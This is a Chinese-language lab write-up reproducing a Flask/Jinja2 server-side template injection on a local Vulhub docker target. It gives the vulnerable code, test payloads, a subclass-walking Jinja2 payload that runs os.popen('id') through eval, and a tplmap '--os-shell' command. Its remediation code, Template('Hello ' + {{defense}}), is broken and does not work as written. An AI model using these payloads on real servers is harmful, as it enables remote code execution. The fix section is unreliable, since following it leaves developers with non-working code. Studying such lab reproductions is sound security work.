#Flask服务端模板(Jinja2)注入漏洞(SSTI)复现#
一、漏洞简介服务器模板注入(SSTI)是一种利用公共 Web框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI攻击可以利用拼接恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。
二、漏洞影响影响版本
使用Flask框架开发并且使用Jinja2模板引擎,最重要的是模板内容可控。满足该条件的Flask模块中几乎都存在注入漏洞。
三、产生原因from flask import Flask, request from jinja2 import Template app = Flask(__name__)
@app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run()
根据上述源码,漏洞主要出在:“t = Template(“Hell” + name)”,由于使用拼接后直接进行渲染,导致命令注入。
四、复现过程docker 靶机:192.168.111.137
docker搭建靶场环境
docker-compose up -d
查询端口
docker ps
搭建成功
查看源码
cd /src ls cat app.py
可以看到核心语句为
t = Template("hello " + name)
此处,函数利用get获取参数进入template,形成任意构造注入。
POC1:
http://192.168.111.137:8000/?name={{2*2}}
POC2:
http://192.168.111.137:8000/?name={{%27Mike%27.upper()}}
官方POC:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
大佬getshell EXP:
python2 ./tplmap.py -u "http://192.168.111.137:8000/?name=aaa" --os-shell
链接在最后
五、修复方案修改代码后可以避免注入:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/s1mpL3")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + {{defense}})
return t.render(defense=name)
if __name__ == "__main__":
app.run()
六、参考链接
Flask - SSTI - VulHub
Flask服务端模板(Jinja2)注入漏洞(SSTI)复现
flask ssti 一键注入EXP
标签Flask、Jinja2、SSTI



